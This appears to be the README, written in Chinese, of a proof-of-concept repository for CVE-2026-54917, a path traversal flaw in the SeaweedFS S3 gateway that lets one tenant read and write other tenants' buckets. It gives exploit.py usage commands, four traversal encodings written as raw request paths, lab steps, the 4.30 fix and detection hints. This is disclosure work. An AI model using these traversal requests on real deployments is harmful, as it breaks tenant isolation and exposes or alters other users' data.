CVE-2026-54917 的概念验证与技术解析,这是 SeaweedFS S3 API 网关中的一个路径遍历漏洞,可让调用者访问任意存储桶中的对象,无论其凭据被授权访问哪些存储桶。
| CVE | CVE-2026-54917 |
| 安全公告 | GHSA-w62w-66v9-vvgv |
| 产品 | SeaweedFS — S3 API 网关(weed s3,以及 weed server 中的 S3 端点) |
| 受影响版本 | < 4.30 |
| 已修复版本 | 4.30 |
| 弱点 | CWE-22 — 对受限目录路径名的限制不当 |
| 严重性 | 10.0 严重 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| 状态 | 已确认存在漏洞 于 4.29 · 已修复 于 4.30(端到端验证) |
├── exploit.py self-contained exploit (read + write, 4 traversal encodings)
├── README.md this file
├── ANALYSIS.md source-level root-cause walkthrough
├── EVIDENCE.txt raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff the security-relevant portion of the official fix
└── lab/ one-command reproduction (docker-compose / setup.sh)
S3 API 路由器使用 mux.NewRouter().SkipClean(true) 构建。在禁用路径清理的情况下,请求路径中的 .. 段在路由时不会被清除。例如以下请求:
GET /bucket-a/../evil-bucket/secret.txt
会被 mux 路由匹配为 {bucket} = "bucket-a",{object} = "../evil-bucket/secret.txt"。
接下来会出现两处分歧:
{bucket} 变量(即 bucket-a)进行判断,调用者确实被允许使用该存储桶。bucketDir(bucket) + "/" + object),filer 会在服务端折叠 ..,因此实际读写会落在 evil-bucket。结果是典型的混淆代理(confused deputy)问题:IAM 检查一个存储桶,而文件系统操作的是另一个存储桶。仅被授权访问单个存储桶的主体,可以读取和写入该实例上所有其他存储桶中的对象。
enableAuth = false — 直接、未认证的跨存储桶读/写。enableAuth = true — 授权混淆代理:任何已认证的主体(任何租户)都可以越过其未被授予权限的存储桶边界进行读写。这正是本文演示的场景,也是 10.0 / 范围变更(scope-changed)评分的原因:一个租户的凭据即可打破所有其他租户的隔离。exploit.py 只使用 Python 标准库。它自行使用 SigV4 为每个请求签名,并逐字节写入请求行,因此遍历路径会原样到达服务器——这正是普通 S3 SDK 会重写的 URL 编码变体能够生效的原因。
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
--url http://TARGET:8333 \
--access-key <key> --secret-key <secret> \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
共实现了四种遍历编码,且全部在 4.29 上验证有效:
| variant | on the wire | effect |
|---|---|---|
dotdot | /bucket-a/../evil-bucket/key | 原版 aws-cli 也可使用 |
enc-dot | /bucket-a/%2e%2e/evil-bucket/key | 需要原始请求(SDK 会重新编码) |
enc-slash | /bucket-a/..%2fevil-bucket/key | 需要原始请求 |
enc-backslash | /bucket-a/..%5cevil-bucket/key | \ 在服务端会被转换为 / |
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
实验环境启用了 IAM(lab/s3.json),包含两个身份:admin(完整权限)和 tenant-a(仅限 bucket-a)。所有利用操作仅使用 tenant-a 的凭据。完整记录见 EVIDENCE.txt。
参见 ANALYSIS.md。简而言之:SkipClean(true) 会将 .. 保留在路由路径中;GetBucketAndObject 会捕获原始的 mux 变量;IAM 基于 {bucket} 进行授权;toFilerPath 会将 {object}(其中仍包含 ..)拼接到 filer 路径中,而该路径随后会折叠 ..,从而跨越存储桶边界。
已在 4.30 中修复(patch-4.30.diff)。validateRequestPath 中间件在存储桶处理器之前运行,会拒绝任何为空或包含遍历段的 {bucket} / {object} 变量,并返回 400 InvalidRequest。请升级到 4.30 或更高版本。
/../、/%2e%2e、..%2f 或 ..%5c 的 S3 请求。Caio Fabrício — github.com/BiiTts